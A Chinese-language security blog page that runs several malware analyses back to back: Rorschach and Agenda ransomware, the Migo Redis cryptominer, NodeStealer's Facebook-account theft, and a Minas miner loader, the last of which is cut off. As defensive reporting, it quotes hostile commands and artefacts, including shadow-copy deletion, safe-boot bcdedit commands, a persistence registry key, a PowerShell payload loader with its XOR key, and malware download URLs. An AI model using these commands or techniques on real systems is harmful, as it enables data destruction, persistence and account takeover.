Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86399545

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

1.png

一家總部位於美國的公司遭到網絡攻擊之後,惡意軟件研究人員發現了一種似乎具有“獨特技術功能”的新型勒索軟件,他們將其命名為Rorschach。

研究人員觀察到的功能之一是加密速度:據研究人員的測試結果顯示,Rorschach憑此速度成為如今最快速的勒索軟件威脅。

分析師們發現,黑客在利用一款威脅檢測和事件響應工具存在的弱點之後,在受害者網絡上部署了惡意軟件。

Rorschach的細節網絡安全公司Check Point的研究人員在應對美國一家公司的安全事件時發現,Rorschach是通過Cortex XDR中的簽名組件使用DLL側加載技術部署的,Cortex XDR是知名網絡安全公司Palo Alto Networks 的一款擴展檢測和響應產品。

攻擊者使用Cortex XDR轉儲服務工具(cy.exe)版本7.3.0.16740來側加載Rorschach加載器和注入器(winutils.dll),這導致將勒索軟件的攻擊載荷“config.ini”投放到記事本(Notepad)進程中。

加載器文件具有類似UPX的反分析保護機制,而主攻擊載荷通過使用VMProtect軟件對部分代碼進行虛擬化處理來防止逆向工程和檢測。

Check Point聲稱,Rorschach在Windows域控制器上執行時會創建一個組策略,以傳播到域中的其他主機。

在攻陷機器之後,惡意軟件會刪除四個事件日誌(應用程序日誌、安全日誌、系統日誌和Windows Powershell日誌),以清除其痕跡。

2.png

圖1. 攻擊鏈(圖片來源:Check Point)

雖然帶有硬編碼配置,但Rorschach支持可以擴展功能的命令行參數。

Check Point特別指出,這些選項是隱藏的,如果不對惡意軟件進行逆向工程分析,就無法訪問。以下是研究人員發現的一些參數:

3.png

圖2. Check Point 破解的參數

Rorschach的加密過程只有當受害者的機器用獨聯體(CIS)之外的語言加以配置時,Rorschach才會開始加密數據。

加密方案結合了curve25519算法和eSTREAM cipher hc-128算法,遵循間歇加密趨勢,這意味著它只對文件進行部分加密,從而提高了處理速度。

4.jpg

圖3. Rorschach的加密方案(圖片來源:Check Point)

研究人員特別指出,Rorschach 的加密例程表明“通過I/O完成端口高效地實現線程調度”。

Check Point表示:“此外,為了加快速度,似乎格外重視編譯器優化,大部分代碼進行了內聯處理。所有這些因素使我們認為,我們面對的可能是外面速度最快的勒索軟件之一。”

為了了解Rorschach的加密速度有多快,Check Point在一台六核CPU機器上搭建了含有220000個文件的測試環境。

Rorschach花了4.5分鐘來加密數據,而被認為最快的勒索軟件家族的LockBit v3.0卻用了7 分鐘才完成加密。

在鎖定係統之後,惡意軟件投放一封勒索函,其格式類似Yanlowang勒索軟件所用的勒索函。

據研究人員聲稱,這個惡意軟件的以前版本使用了類似DarkSide的勒索函。

Check Point表示,這種相似性可能導致其他研究人員將不同版本的Rorschach誤認為是DarkSide,後者於2021年更名為BlackMatter,並於同年銷聲匿跡。

5.jpg

圖4. Rorschach投放的最新勒索函(圖片來源:Check Point)

BlackMatter的成員後來策劃了ALPHV/BlackCat勒索軟件行動,該行動於2021年11月啟動。

Check Point評估後認為,Rorschach從一些在線洩露的主要勒索軟件家族(Babuk、LockBit v2.0和DarkSide)借鑒了更好的功能。

除了自我傳播能力外,該惡意軟件還“提高了勒索攻擊的門檻”。

目前,Rorschach勒索軟件的運營商仍然不得而知,也沒有什麼品牌,這種情況在勒索軟件領域很少見。

安全研究人員最新發現一起針對Linux 主機上的Redis 服務器的安全活動——威脅組織正使用名為“Migo”的惡意軟件來挖掘加密貨幣。

Redis(遠程字典服務器)是一種內存數據結構存儲,用作數據庫、緩存和消息代理,以其高性能而聞名,每秒為遊戲、技術、金融服務等行業的實時應用程序提供數千個請求。

威脅組織通常利用暴露的和可能易受攻擊的Redis 服務器來劫持資源、竊取數據和實施其他惡意目的。

新的惡意軟件的不同之處在於使用系統削弱命令來關閉Redis 安全功能,從而允許加密劫持活動較長時間持續。

Migo 活動由雲取證提供商Cado Security的分析師所發現,他們在蜜罐中觀察到攻擊者使用CLI 命令關閉保護配置並利用服務器。

關閉Redis 防護罩在暴露的Redis 服務器受到攻擊後,攻擊者會禁用關鍵的安全功能,以允許接收後續命令並使副本可寫。

Cado 表示,他們注意到攻擊者通過Redis CLI 禁用了以下配置選項:

马云惹不起马云set protected-mode:禁用此選項將允許外部訪問Redis 服務器,從而使攻擊者更容易遠程執行惡意命令。

马云惹不起马云replica-read-only:關閉此功能使攻擊者能夠直接寫入副本並在分佈式Redis 設置中傳播惡意負載或數據修改。

马云惹不起马云aof-rewrite-incremental-fsync:禁用它可能會導致在僅追加文件(AOF) 重寫期間產生更重的IO 負載,來幫助攻擊者不被檢測到。

马云惹不起马云rdb-save-incremental-fsync:關閉它可能會導致RDB 快照保存期間性能下降,從而可能允許攻擊者造成拒絕服務(DoS) 或操縱持久性行為以獲取優勢。

command.webp.jpg

觀察命令執行

攻擊者設置一個cron 作業,從Pastebin 下載腳本,該腳本從Transfer.sh 檢索Migo 的主要負載(/tmp/.migo) 以作為後台任務執行。

這是一個用Go 編譯的UPX 打包的ELD 二進製文件,具有編譯時混淆功能以阻礙分析。

Migo 的主要功能是直接從GitHub 的CDN 在受感染的端點上獲取、安裝和啟動修改後的XMRig (Monero) 挖礦程序。

該惡意軟件通過創建systemd 服務和關聯的計時器來為礦工建立持久性,確保其連續運行,以攻擊者的帳戶挖掘加密貨幣。

code.webp.jpg

Migo 的Linux 系統調用序列

Cado 報告稱,Migo 使用用戶模式rootkit 來隱藏其進程和文件,從而使檢測和刪除變得複雜。

該惡意軟件修改“/etc/ld.so.preload”以攔截和更改列出進程和文件的系統工具的行為,從而有效地隱藏其存在。

攻擊結束時,Migo 設置防火牆規則來阻止某些IP 的出站流量,並執行命令來禁用SELinux、搜索並可能禁用雲提供商監控代理,並刪除競爭的礦工或有效負載。

它還操縱/etc/hosts 以阻止與雲服務提供商的通信,從而進一步隱藏其活動。

Migo 的攻擊鍊錶明,其背後的威脅組織對Redis 環境和操作已有了深入了解。儘管加密劫持威脅並不太嚴重,但威脅組織卻可以利用該訪問權限來傳遞更危險的有效負載。

最近出現了一種用Go 語言編寫的新型勒索軟件,主要亞洲和非洲的醫療保健和教育企業。該勒索軟件稱為Agenda,對每個受害者進行自定義攻擊。當前用Go 語言(又名Golang)編寫的惡意軟件變得越來越普遍,這主要是因為Go 靜態編譯必要的庫,使安全分析變得更加困難。

根據名為“Qilin”的用戶(似乎與勒索軟件分銷商有關聯)的暗網帖子和勒索記錄,勒索軟件被稱為“Agenda”。

Agenda 可以在安全模式下重新啟動系統,並嘗試阻止許多特定於服務器的進程和服務,並且可以運行多種模式。我們收集的勒索軟件示例是為每個受害者定制的,它們包括唯一的公司ID 和洩露的帳戶詳細信息。

受害對象分析所有收集的示例都是用Go 編寫的64 位Windows PE(便攜式可執行文件)文件,它們針對的是基於Windows 的系統。傳播惡意軟件的組織針對的是印度尼西亞、沙特阿拉伯、南非和泰國的醫療保健和教育機構。每個勒索軟件示例都是為目標受害者定制的。我們的調查表明,示例洩露了帳戶、客戶密碼和用作加密文件擴展名的唯一公司ID。

我們認為,Qilin(或Agenda 勒索軟件組織)的附屬機構可以為每個受害者定制可配置的二進制有效載荷,包括公司ID、RSA密鑰等細節,以及數據加密前要阻止的進程和服務。另外,每家公司要求的贖金金額從5萬美元到80萬美元不等。

Agenda%201.jpg

Qilin勒索贖金示例

Agenda%202.jpg

Qilin勒索通知示例

與其他勒索軟件的相似之處我們注意到Agenda 與Black Basta、Black Matter 和REvil(又名Sodinokibi)勒索軟件之間存在一些相似之處。

在付費網站和Tor網站上用戶驗證的實施方面,Agenda與Black Basta和Black Matter非常相似。與此同時,Agenda與Black Basta和REvil共享了相同的函數,可以使用此命令更改Windows密碼並在安全模式下重啟:

C:\windows\system32\bcdedit.exe/setsafeboot{current}network

攻擊鏈在調查一起涉及該勒索軟件的示例時,我們發現其背後的攻擊者使用面向公眾的Citrix服務器作為入口點。我們認為攻擊者使用有效帳戶訪問此服務器,然後進入受害者的網絡。這是意料之中的,因為攻擊者使用有效和特權帳戶配置了勒索軟件。

攻擊者使用洩露的帳戶在Active Directory 上使用RDP,然後釋放用於掃描網絡的掃描工具Nmap.exe 和Nping.exe。接下來,計劃任務被組策略域設備推送。

Agenda%203.jpg

組策略推送的定時任務

微信截图_20220826123421.png

在計算機上創建的計劃任務

我們觀察到訪問Citrix 服務器和勒索軟件感染之間只有很短的時間:不到兩天。攻擊者似乎在第一天就掃描了網絡,然後創建了一個組策略對象(GPO),並將勒索軟件部署在受害者的設備上。

Agenda%20Ransomware%205.png

Agenda 勒索軟件的攻擊鏈

Agenda 勒索軟件是一個用Go 編寫的64 位Windows PE 文件。 Go 程序是跨平台且完全獨立的,這意味著即使系統上沒有安裝Go 解釋器,它們也能正常執行。這是可能的,因為Go 靜態編譯必要的庫(包)。

在執行時,該勒索軟件接受定義惡意軟件流程和功能的各種命令行參數,如下表所示。

-alter {int}:定義此子進程的端口號;

-encryption {value}:允許將嵌入加密器配置重新定義為自定義選項;

-ips {IP Address} :允許提供IP 地址;

-min-size {value}:定義要加密的最小文件大小(例如,1 KB、1 MB、1 GB、666 KB);

-no-proc:定義不會被阻止的進程;

-no-services:定義不會被阻止的服務;

-password {string}:定義登錄密碼;

-path {directory}:定義解析目錄的路徑,如果使用此標誌並將其置空,則將掃描所有目錄;

-safe:在安全模式下啟動;

-stat:使惡意軟件打印其配置(要阻止的進程和服務、加密等);

Agenda構建一個運行時配置來定義它的行為,包括它的公共RSA密鑰、加密條件、要終止的進程和服務列表、加密擴展、登錄憑證和贖金通知。 Agenda 的運行時配置組件表如下:

public_rsa_pem RSA:公鑰;

directory_black_list:不允許加密的目錄;

file_black_list:不允許加密的文件名;

file_pattern_black_list:不允許加密的文件擴展名;

process_black_list:要終止的進程;

win_services_black_list:終止服務;

company_id:加密擴展;

accounts:登錄憑據;

note:贖金通知。

作為其初始例程的一部分,Agenda 通過檢查此註冊表值數據中的字符串safeboot 來確定被攻擊的設備是否在安全模式下運行:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control SystemStartOptions

如果它檢測到設備正在安全模式下運行,則終止執行。

然後,勒索軟件通過執行vssadmin.exe delete shadows /all /quiet 刪除卷影副本,並終止運行時配置中指出的特定進程和服務,其中一些是與防病毒相關的進程和服務。

8.1.png

Agenda 終止的一些與防病毒相關的進程和服務

在其初始例程之後,Agenda 繼續創建runonce 自動啟動條目*aster 指向enc.exe,它是Public 文件夾下自身的一個已刪除副本:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce*aster=%Public%\enc.exe

更改用戶密碼並以安全模式重新啟動Agenda 還在加密過程中部署了一種檢測規避技術:它會更改默認用戶的密碼並使用新的登錄憑據啟用自動登錄。可以使用-safe 命令行參數啟用此功能。與REvil 類似,Agenda 以安全模式重新啟動受害者的設備,然後在重新啟動時繼續執行加密程序。

首先,Agenda 會列出在設備上找到的所有本地用戶,然後檢查哪一個被設置為默認用戶。

Agenda%20blog%206%20v1.jpg

Agenda 用於從本地用戶中確定默認用戶的函數

找到默認用戶後,Agenda 將用戶的密碼更改為Y25VsIgRDr。

Agenda%20blog%207%20v2.jpg

Agenda 用於更改默認用戶密碼的函數

然後它繼續配置Winlogon 註冊表項,將數據設置為以下每個值:

8.png

Agenda 配置的Winlogon 註冊表項

更改默認用戶密碼並啟用自動登錄後,Agenda 通過以下命令以安全模式重新啟動受害者的設備:

C:\windows\system32\bcdedit.exe/setsafeboot{current}network

加密後,勒索軟件還會使用以下命令以正常模式重啟計算機:

C:\Windows\System32\bcdedit.exe/setsafebootnetworkbcdedit/deletevalue{default}safeboot

冒充合法賬戶Agenda 的另一個函數是它能夠濫用本地帳戶憑據來執行勒索軟件二進製文件,在其運行時配置中使用嵌入式登錄憑據。

9.png

Agenda的嵌入式本地帳戶憑據

Agenda通過在運行時配置中解析帳戶開始用戶模擬,然後將它們劃分為用戶名、域和密碼。它將使用這些數據嘗試通過API LogonUserW將用戶登錄到本地計算機上。

Agenda%20blog%2010.jpg

Agenda 用於解析運行時配置中的accounts 字段的函數

Agenda%2011.jpg

使用已解析帳戶執行登錄的Agenda

然後,Agenda 繼續生成一個隨機端口號,它將通過API CreateProcessAsUserW 與命令行參數-alter 一起用於執行勒索軟件二進製文件。

12.png

使用-alter 參數創建新進程的Agenda

允許網絡共享Agenda還與整個網絡及其共享驅動程序的攻擊有關。它不僅僅是關於在一個工作站上加密數據。

勒索軟件會添加一個註冊表,然後重新啟動LanmanWorkstation 服務。添加新註冊表後,它使用啟用映射驅動器驅動程序中的鍵[EnableLinkedConnections=1],然後重新啟動LanmanWorkstation 服務。這將允許Agenda 在cmd 等提升程序中列出網絡驅動器。

Agenda%20blog%2013.jpg

Agenda將EnableLinkedConnection的註冊表值更改為1

Agenda%20blog%2014.jpg

Agenda重啟LanmanWorkstation 服務

加密算法

Agenda使用AES-256加密文件,使用RSA-2048加密生成的密鑰。為此,它首先使用函數generateKye生成用於加密的密鑰和初始化向量(IV),然後使用API rand_read()。

15.png

Agenda用於生成隨機密鑰的函數

使用這個隨機生成的密鑰,Agenda 繼續使用AES-256 來加密目標文件。最後,它通過運行時配置中的嵌入式公鑰使用RSA-2048 對密鑰進行加密。

成功加密後,Agenda通過附加運行時配置中指定的公司ID來重命名加密的文件。然後它會在每個加密的目錄中釋放贖金通知{company_id}-RECOVER-README.txt。

Agenda%2016.jpg

Agenda 的贖金通知

進程注入Agenda 將pwndll.dll(檢測為Trojan.Win64.AGENDA.SVT)釋放在Public 文件夾中。文件pwndll.dll 是用C 語言而不是Go編寫的合法DLL WICloader.dll 的打了補丁DLL。 Agenda 將此DLL 注入svchost.exe 中,以允許連續執行勒索軟件二進製文件。

Agenda%20blog%2017.jpg

將pwndll.dll 注入svchost.exe 的Agenda

Agenda%20blog%2018.jpg

使用pwndll.dll 執行勒索軟件示例的Agenda

總結勒索軟件不斷發展,開發出更複雜的方法和技術來發起攻擊。如上所述,新的有針對性的勒索軟件Agenda是如何用Go 語言編寫的,這使得檢測和分析變得更加困難。

這種勒索軟件通過利用設備的“安全模式”功能來進行加密程序而不被發現。勒索軟件還利用本地帳戶作為被欺騙的用戶登錄,並執行勒索軟件二進製文件,如果登錄嘗試成功,則進一步加密其他設備。它還終止大量進程和服務,並通過將DLL 注入svchost.exe 來確保持久性。

用戶和組織都可以通過遵循以下安全最佳實踐來降低被Agenda 等勒索軟件感染的風險:

1.啟用多因素身份驗證(MFA) ,以防止攻擊者在網絡內執行橫向移動。

2.備份重要文件時,請遵守3-2-1 規則。以兩種不同的文件格式創建三個備份副本,其中一個副本存儲在單獨的位置。

3.定期修補和更新系統。讓操作系統和應用程序保持最新非常重要,以防止惡意行為者利用任何軟件漏洞。

4.使用專業安全解決方案,它具有多層保護和行為檢測功能,有助於在勒索軟件造成任何攻擊之前阻止可疑行為和工具。

Malware-r3d2.png

Unit 42的研究人員最近發現了一個以前未被報導的網絡釣魚活動,該活動傳播了一個信息竊取器,該信息竊取器可以完全接管攻擊目標Facebook的商業賬戶。 Facebook的商業賬戶受到了網絡釣魚誘餌的攻擊,這些誘餌提供了商業電子表格模板等工具。這是攻擊者以Facebook商業賬戶為目標的日益增長的趨勢的一部分,目的是廣告欺詐和其他目的,這一趨勢在2022年7月左右隨著Ducktail信息竊取者的發現而出現。

大約8個月後,即2023年3月,據報導,偽裝成ChatGPT Chrome擴展的新變種FakeGPT竊取了Facebook廣告帳戶。 Unit 42還報導了2023年4月以ChatGPT為主題的詐騙攻擊。 2023年5月,Meta發布了一份名為NodeStealer的新信息竊取惡意軟件報告,該報告描述了2022年7月編譯的惡意軟件和2023年1月發現的涉及NodeSteiler的惡意活動。 NodeStealer允許攻擊者竊取瀏覽器cookie來劫持平台上的賬戶,特別是針對商業賬戶。

在調查這一增長趨勢時,研究人員發現了一場始於2022年12月左右的活動,此前沒有被報導過。

在活動中傳播的信息竊取器與Meta分析的2022年7月用JavaScript編寫的NodeStealer變體有許多相似之處。然而,新的攻擊活動涉及兩個用Python編寫的變體,這些變體使用額外的功能進行了改進,攻擊者為這些變體配備了加密貨幣竊取功能、下載功能和完全接管Facebook商業賬戶的功能。

NodeStealer給個人和組織帶來了巨大的風險。除了對Facebook商業賬戶(主要是金融賬戶)的直接影響外,該惡意軟件還竊取瀏覽器的憑證,這些憑證可用於進一步的攻擊。

在本文中,我們將介紹一些未報導的針對Facebook商業賬戶的網絡釣魚活動,並將對惡意軟件進行深入分析。此外,我們將通過Cortex XDR(設置為僅檢測模式)的方式展示惡意軟件的操作過程。我們將為Facebook商業賬戶所有者如何保護他們的賬戶提供建議。雖然這一活動不再活躍,但有跡象表明,其背後的攻擊者可能會繼續使用和發展NodeStealer,或使用類似技術繼續針對Facebook商業賬戶。也有可能對以前受到該攻擊的組織進行持久性攻擊。

網絡釣魚活動從分析數據來看,信息竊取者的主要攻擊手段是網絡釣魚活動。網絡釣魚活動發生在2022年12月,提供了兩種信息竊取的變體,為了方便講解,我們在本文中將其稱為變體#1和變體#2。

此次活動的主題是為企業提供廣告材料。該攻擊者使用多個Facebook頁面和用戶發布信息,誘導受害者從已知的雲文件存儲提供商那裡下載鏈接。點擊後,一個.zip文件被下載到設備上,其中包含惡意的信息竊取程序可執行文件。

1.png

Facebook釣魚帖子誘導受害者下載受感染的.zip文件

變體#1分析該活動中信息竊取程序的第一個變體在內部命名為word.exe。它是用Nuitka編譯的,攻擊者為文件使用了一個唯一的產品名稱:Peguis。

2.png

word.exe的元數據

變體#1的進程樹非常“嘈雜”,這意味著它創建了多個進程並執行了許多被認為是異常活動的指示的操作,並且不是非常秘密,包括呈現給用戶的彈出窗口。

主要功能如上所述,NodeStealer的目標是Facebook的商業賬戶。變體#1有一些額外的功能,這使它能夠實現以下功能:

竊取Facebook商業賬戶信息;

下載其他惡意軟件;

通過GUI(圖形用戶界面)禁用Windows Defender;

MetaMask(加密貨幣錢包)盜竊;

竊取Facebook商業賬戶信息。

惡意軟件執行時的第一件事是檢查是否有Facebook商業帳戶登錄到受感染設備的默認瀏覽器。它通過連接到https://business.facebook.com/ads/ad_limits/並檢查標頭來實現這一點。

3.png

使用Facebook的Graph API竊取信息

如果確實有一個Facebook商業帳戶登錄,惡意軟件會連接到Graph API(Graph.Facebook.com),並通過標頭竊取用戶ID和訪問令牌。

根據Meta的說法,“Graph API是將數據輸入和輸出Facebook平台的主要方式。這是一個基於http的API,應用程序可以使用它以編程方式查詢數據、發布新故事、管理廣告、上傳照片以及執行各種各樣的其他任務。”

NodeSteiler使用Graph API來竊取目標的信息,包括:關注者數量、用戶驗證狀態、帳戶信用餘額、帳戶是否預付以及廣告信息。

惡意軟件還通過向https://www.facebook.com/ajax/bootloader-endpoint/?modules=AdsLWIDescribeCustomersContainer.react發送請求來獲取Facebook JavaScript模塊adslwidcribecustomerscontainer的內容。

該JavaScript模塊是Facebook廣告平台的一部分,用於描述和管理Facebook廣告中的自定義受眾。自定義受眾允許廣告商根據特定人群的人口統計、興趣、行為或其他標準瞄準特定人群,惡意軟件竊取這些信息並將其發送到其命令和控制服務器(C2)。

除了竊取有關Facebook商業賬戶的信息外,該惡意軟件還旨在竊取這些賬戶的憑證。為了做到這一點,它會在以下瀏覽器的cookie和本地數據庫中檢查Facebook用戶和密碼:Chrome、Edge、Cốc cốc、 Brave和Firefox。

4.png

從瀏覽器的數據庫中竊取密碼

5.png

NodeStealer執行的警報,如Cortex XDR所示

然後惡意軟件通過Telegram洩露輸出文件並刪除文件以消除其踪跡:

6.png

通過Telegram盜取

7.png

跟踪並刪除NodeStealer

下載其他惡意軟件變體#1被配置為從以下URL下載兩個.zip文件:

hxxps://tinyurl[.]com/batkyc,重定向到hxxp://adgowin66[.]site/ratkyc/4/bat.zip;

hxxps://tinyurl[.]com/ratkyc2,重定向到hxxp://adgowin66[.]site/ratkyc/4/ratkyc.zip;

Bat.zip包含禁用Windows Defender的ToggleDefender批處理腳本,Ratkyc.zip包含三個惡意軟件:

名為COM Surrogate.exe的BitRAT;

一種名為Antimalware Service Executable.exe的隱藏虛擬網絡計算(hVNC)RAT;

XWorm命名的Windows Tasks.exe主機進程;

為了下載.zip文件,惡意軟件實現了FodHelper UAC繞過。使用此方法,攻擊者試圖繞過用戶帳戶控制(UAC)並執行用於下載上述zip文件的PowerShell腳本。

8.png

FodHelper UAC繞過NodeStealer中的編碼命令

base64壓縮後的命令翻譯如下:

9.png

以下是當Cortex XDR設置為僅檢測模式時,變體#1的執行流程:

10.png

變體#1的執行流程,如Cortex XDR中所示,設置為僅檢測模式

下載並提取文件後,NodeStealer通過註冊表運行鍵為三個惡意軟件(BitRAT、hVNC RAT和XWorm)以及自己的二進製文件(word.exe)設置持久性。

通過GUI禁用Windows Defender除了ToggleDefender批處理腳本之外,變體#1還使用了另一種技術來禁用Windows Defender,這次使用的是GUI。這是一種非常嘈雜的方法,因為最終用戶將能夠看到Windows Defender GUI在設備上彈出,並且惡意軟件會將其禁用。

用於打開GUI和禁用WindowsDefender的命令如下圖所示。

11.png

用於禁用Windows Defender的命令

MetaMask竊取該惡意軟件還試圖通過竊取Chrome、Cốc Cốc和Brave瀏覽器的MetaMask證書來實現經濟利益最大化。

MetaMask是通過瀏覽器訪問以太坊錢包的擴展。通過竊取此應用程序的憑證,攻擊者可以從用戶的錢包中竊取加密貨幣。

正如它在竊取Facebook cookie和憑證時所做的那樣,該惡意軟件提取了用於存儲瀏覽器信息的本地數據庫。它在其中搜索擴展nkbihfbeogaeaeahlefnkodbefgpgknn,這是直接從擴展庫安裝MetaMask時的擴展。

然後,惡意軟件將數據複製到一個文件中,並使用Telegram將其洩露出去,就像它對Facebook憑證所做的那樣。

12.png

從Brave瀏覽器竊取MetaMask憑證

變體#2分析該活動中的第二個版本內部命名為MicrosofOffice.exe,並與第一個版本一樣使用Nuitka進行編譯。但與第一種變體不同,它不會對毫無戒心的用戶產生大量可見的活動。對於這種變體,攻擊者使用了產品名稱“Microsoft corporation”(最初是惡意軟件開發者拼錯的)。

13.png

變體#2的元數據偽裝成MicrosofOffice.exe

主要功能與第一個變體一樣,變體#2以Facebook商業賬戶信息和MetaMask錢包為目標,但它的功能更近一步:

試圖接管Facebook帳戶;

實現反分析功能;

竊取電子郵件;

接管Facebook帳戶;

變體#2試圖購買由合法越南網站(hotmailbox[.]me)提供的在線電子郵件服務。

它試圖使用一個嵌入式API密鑰來實現這一點,該密鑰保存特定服務的信用餘額:https://api.hotmailbox[.]me/mail/buy?apikey=mailcode=HOTMAILquantity=1。

14.png

向hotmailbox[.]me購買郵箱服務

15.png

惡意軟件使用的API密鑰的信用餘額

如果購買嘗試失敗,惡意軟件再次嘗試使用持有專用信用餘額的API密鑰從另一個越南網站(dongwanfb[.]net)購買郵箱服務:https://api.dongvanfb[.]net/user/buy?apikey=

16.png

向dongvanfb[.]net購買郵箱服務

如果購買嘗試成功,惡意軟件將保存新郵箱的電子郵件和密碼,這些郵箱將在活動的下一階段使用。

接下來,惡意軟件使用不需要驗證密碼的技術修改受害者Facebook商業帳戶的帳戶電子郵件地址,使用以下URL: https://www.facebook[.]com/add_contactpoint/dialog/submit/。

如果需要,惡意軟件會通過電子郵件向https://getcode.hotmailbox[.]me地址發送獲取Facebook驗證碼的請求。

17.png

用於向hotmailbox[.]me請求Facebook身份驗證碼的代碼

然後,惡意軟件檢查更新後的電子郵件,查看修改是否成功:

18.png

查看Facebook賬戶的更新郵件

如果成功,攻擊者現在已經通過將合法用戶的電子郵件地址替換為他們控制的郵箱來接管Facebook帳戶。

讀取電子郵件此外,該惡意軟件還具有解析電子郵件的功能,因此它可以讀取受害者的電子郵件。雖然我們沒有直接觀察到此類活動,但攻擊者添加此功能可能會干擾任何通知受害者配置更改的Facebook警報。

19.png

負責讀取電子郵件的功能

反分析和反虛擬機的功能在分析的變體#2的幾個樣本中,攻擊者添加了一個簡單的功能來檢查是否存在惡意軟件分析工具和虛擬機進程。如果其中一個正在系統上運行,惡意軟件就會自行終止。

20.png

反分析和反虛擬機的功能

NodeSteiner變體之間的差異如上所述,本文分析的NodeStealer的兩個變體之間有相似之處,但也有許多不同之處。下表比較了Meta報告的版本中NodeStealer的主要功能,以及不同變體中的主要功能:

21.png

NodeSteiner變體之間的差異比較

越南攻擊者有趣的是,Ducktail和NodeStealer之前都被Meta懷疑是來自越南的攻擊者。 NodeStealer惡意軟件與越南攻擊者之間的可疑聯繫可以用不同的方式解釋。

第一個可能表明這種聯繫的發現是,在本文分析的兩個變體的Python腳本中,我們遇到了許多越南語字符串。

22.png

在NodeStealer中找到的字符串“TongChiTieu”的翻譯

23.png

在NodeStealer中找到的字符串“ThoiGianCheck”的翻譯

懷疑與越南攻擊者有聯繫的第二個跡像是,攻擊者的目標是一個名為Cốc Cốc的瀏覽器,該瀏覽器在其“關於我們”頁面上自稱為“越南人民的網絡瀏覽器和搜索引擎”。

24.png

如上所述,在變體#2中發現了疑似越南人與NodeStealer有關的第三個跡像是,這種變體試圖從兩個不同的越南網站(Hotmailbox[.]me和Dongvanfb[.]net)購買在線郵箱服務。

總結在這篇文章中,我們發現了一個針對Facebook商業賬戶的NodeStealer惡意軟件活動。作為活動的一部分,我們發現了NodeStealer的兩個變體,變體#1和變體#2。對這兩種變體的分析揭示了惡意軟件的一些有趣功能,所有這些都可能增加攻擊者的潛在經濟利益。

這名被懷疑來自越南的攻擊者為新變種提供了加密貨幣竊取功能、下載功能和完全接管Facebook商業賬戶的功能。

緩解措施1.Facebook鼓勵企業賬戶所有者使用強密碼並啟用多因素身份驗證;

2.企業使用基於雲的威脅分析服務可以準確地識別出這些樣本是惡意的,具體包括:

2.1 通過URL過濾和DNS安全將與該組織關聯的URL和域識別為惡意;

2.2 具有高級威脅防護安全訂閱的下一代防火牆;

2.3 分析來自多個數據源(包括終端、網絡防火牆、Active Directory、身份和訪問管理解決方案以及雲工作負載)的用戶活動來檢測基於用戶和憑據的威脅。

sl-abstract-data-tech-complex-orange-blue-1200-1200x600.jpg

2022年6月,卡巴斯基實驗室的研究人員在一個系統進程的內存中發現了一個可疑的shellcode。為此,他們深入分析了shellcode是如何放置到進程中的,以及受感染系統上的威脅隱藏在何處?

感染鏈雖然研究人員無法複製整個感染進程,但他們能夠從PowerShell執行的位置重建它,如下圖所示。

1.png

攻擊流程

簡而言之,感染鏈如下:

马云惹不起马云PowerShell腳本通過任務計劃程序運行,並從遠程服務器下載lgntoerr.gif文件;

马云惹不起马云該腳本解密lgntoerr.gif,生成一個.NET DLL,然後加載該DLL;

马云惹不起马云.NET DLL從其資源中提取並解密三個文件:兩個DLL和一個加密的有效負載。提取的文件被放置在ProgramData目錄中。

马云惹不起马云.NET DLL創建一個任務,在系統啟動時通過任務調度程序自動運行合法的ilasm.exe組件;

马云惹不起马云任務調度程序從ProgramData目錄啟動ilasm.exe;

马云惹不起马云ilasm.exe從同一目錄啟動fusion.dll,這是一個惡意的DLL劫持程序;

马云惹不起马云fusion.dll加載第二個解密的DLL;

马云惹不起马云該DLL創建一個掛起的dllhost.exe進程;

马云惹不起马云然後,它對加密的二進製文件中的有效負載進行解密;

马云惹不起马云解密後的有效負載作為DLL加載到dllhost.exe進程中;

马云惹不起马云dllhost.exe進程的PID保存在ProgramData目錄中的一個文件中;

马云惹不起马云dllhost.exe進程將控制權傳遞給解密的有效負載;

马云惹不起马云 有效負載DLL提取並在內存中啟動挖礦DLL;

他們把這個惡意軟件命名為Minas。根據研究人員對感染鏈的重建,他們確定它是通過將編碼的PowerShell腳本作為任務運行而產生的,他們不太確信該腳本是通過GPO創建的:

2.png

編碼的PowerShell命令

技術細節PowerShell腳本的核心功能是啟動惡意軟件安裝進程。為此,PowerShell腳本從遠程服務器下載加密有效負載,使用自定義異或加密算法(密鑰為“fuckkasd9akey”)對其解密,並將負載加載到內存中:

3.png

已解碼的PowerShell命令

負載是由PowerShell進程啟動的.NET二進製文件(DLL),它傳遞三個參數:

$a.GetType(“I.C”).GetMethod(“I”).Invoke($null, ([Byte[]]($d),”A5D9FD13″,0));

1.$d:NET DLL作為字節數組;

2.A5D9FD13:(用於對.NET DLL中的資源進行解密的密鑰);

3.0:(用於阻止創建多個主有效負載進程的參數);

此.NET二進製文件(他們將其稱為“安裝程序”)負責.NET DLL資源中包含的惡意軟件組件的後續安裝。

使用哈希函數(Ap, SDBM, RS),安裝程序創建一個目錄結構:

4.png

示例文件和目錄

接下來,它檢查系統上是否存在合法的ilasm.exe文件(版本4.0.30319位於%windir%\Microsoft.NET\Framework64\v4.0.30319\ilasm.exe或版本2.0.50727位於%windir%\Microsoft.NET\Framework64\v2.0.50727\ilasm.exe)。注意,如果系統上存在ilasm.exe,它應該在這些目錄之一中)。如果沒有找到該文件,安裝進程將被終止。只要找到ilasm.exe,就會創建一個計劃任務作為持久機制:

5.png

在此之後,文件被複製到前面提到的創建的目錄中

然後,惡意軟件繼續將安裝程序的前100個字節附加到從“_64_bin”. net DLL資源中提取的文件{RSHash(MachineName)}中,並且生成的文件被加密(密鑰是小寫的計算機名稱)。另外,在“fusion.dll”和“{SDBMHash(MachineName)}.dll”文件中添加了多達10240個隨機字節,導致反惡意軟件產品的哈希檢測無效。

之後,安裝程序為運行的ilasm.exe啟動先前創建的任務,該任務反過來加載位於同一目錄下的惡意fusion.dll庫,假設它正在使用合法的fusion.dll (DLL劫持技術)。

惡意軟件的執行進程包括兩個加載程序:DLL劫持程序fusion.dll和下一階段的加載程序{SDBMHash(MachineName)}. DLL。

DLL劫持程序做三件事:

1.隱藏ilasm.exe進程的控制台。

2.確定進程名是否為ilasm.exe。如果不是,則終止進程。

